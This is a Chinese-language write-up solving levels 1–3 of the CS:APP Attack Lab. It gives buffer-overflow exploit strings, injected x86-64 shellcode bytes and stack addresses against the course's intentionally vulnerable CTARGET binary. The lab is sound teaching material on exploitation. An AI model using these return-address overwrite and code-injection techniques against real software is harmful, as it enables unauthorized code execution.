0%

Attack Lab

重新做了一遍CSAPP里的Attack Lab~

CTARGET

For the first three phases, your exploit strings will attack CTARGET.

This program is set up in a way that the stack positions will be consistent from one run to the next and so that data on the stack can be treated as executable code. These features make the program vulnerable to attacks where the exploit strings contain the byte encodings of executable code.

1
2
3
4
5
6
void test() 
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
1
2
3
4
5
6
unsigned getbuf() 
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

Level 1

需要输入特定长度的字符串让getbuf()在返回时将控制流转移到touch1()

反编译getbuf

1
2
3
4
5
6
7
8
(lldb) disas -n getbuf
ctarget`getbuf:
ctarget[0x4017a8] <+0>: subq $0x28, %rsp
ctarget[0x4017ac] <+4>: movq %rsp, %rdi
ctarget[0x4017af] <+7>: callq 0x401a40 ; Gets at support.c:163
ctarget[0x4017b4] <+12>: movl $0x1, %eax
ctarget[0x4017b9] <+17>: addq $0x28, %rsp
ctarget[0x4017bd] <+21>: retq

可以看到在栈上分配了0x28的空间给Gets。因此只需要输入大小为0x28的Bytes就可以达到ret的地址。

0x28字节即是40字节🙄️

反编译touch1

1
2
3
(lldb) disas -n touch1
ctarget`touch1:
ctarget[0x4017c0] <+0>: subq $0x8, %rsp

得到touch1的地址0x4017c0. 在x86-64上即为c01740000000000.

所以构建的字符串为:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

Level 2

Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.

这个lab压缩包里的cookie为0x59b997fa.

现需要将cookie传递给touch2(),

既是覆盖掉%rdi(存储第一个参数的寄存器)中的值并调用touch2().

可通过以下汇编指令达成:

1
2
3
movq cookie, %rdi  #将cookie的值赋给%rdi
push &(touch2()) #将touch2()的地址入栈
ret #从栈中弹出返回地址并转到此地址

反汇编touch2()

1
2
3
(lldb) disas -n touch2
ctarget`touch2:
ctarget[0x4017ec] <+0>: subq $0x8, %rsp

得到地址为0x4017ec.

填入得到汇编指令:

1
2
3
movq $0x59b997fa, %rdi
push $0x4017ec
ret

别忘了立即数前的$, gcc并不会报错🙄️

调用汇编器(as)得到字节码,再反汇编:

1
2
$ gcc -c code.s
$ objdump -d code.o

显示如下:

1
2
3
4
5
6
7
./code.o:	file format Mach-O 64-bit x86-64

Disassembly of section __TEXT,__text:
__text:
0: 48 c7 c7 fa 97 b9 59 movq $1505335290, %rdi
7: 68 ec 17 40 00 pushq $4200428
c: c3 retq

因此可以通过这段字节码完成题目所给的要求。但还需要让机器执行此段代码,仿Level1,可让getbuf()返回到此段代码的起始位置(即buf[BUFFER_SIZE]的起始位置).

通过gdb设置断点来查看调用Gets之前栈指针的位置。

1
2
3
4
5
$ gdb ./ctarget
(gdb) b *0x4017ac
(gdb) run -q <./code
(gdb) info r
(gdb) disas

本机上进入getbuf()%rsp的值为0x5561dc78.

所以可以得到字符串为:

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

Level 3

Your task is to get CTARGET to execute the code for touch3 rather than returning to test. You must make it appear to touch3 as if you have passed a string representation of your cookie as its argument.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
vlevel = 3;
if (hexmatch(cookie, sval))
{
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
}
else
{
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

类似前两题,同样是传递参数给新的函数。

传递的字符串为cookie,即0x59b997fa

1
35 39 62 39 39 37 66 61

可通过以下汇编指令达成:

1
2
3
movq &string, %rdi  #将字符串地址的值赋给%rdi
pushq &(touch3()) #将touch3()的地址入栈
ret #从栈中弹出返回地址并转到此地址

反汇编得到touch3()的地址0x4018fa.

1
2
3
4
(lldb) disas -n touch3
ctarget`touch3:
ctarget[0x4018fa] <+0>: pushq %rbx
ctarget[0x4018fb] <+1>: movq %rdi, %rbx

在调用touch3()的时候,函数会继续调用hexmatch(),因此得考虑字符串会不会被覆盖.

可以考虑把字符存进test()的栈帧中(反正也不会用到了

Address Stack
0x5561dc78 + 0x28 +0x8 保存test()函数的状态
0x5561dc78 + 0x28 返回地址
0x5561dc78 getbuf中开辟的buffer[]数组
保存getbuf()函数的状态

注意到栈向低地址方向生长

从Level 2中得到调用Gets之前栈指针0x5561dc78,加上48个字节后为0x5561dca8,即为想存储的字符串的地址。因此输入的汇编指令应为:

1
2
3
movq $0x5561dca8, %rdi
pushq $0x4018fa
ret

所以构建的输入流应该长这样:

1
2
3
4
5
6
7
48 c7 c7 a8 dc 61 55 68 
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61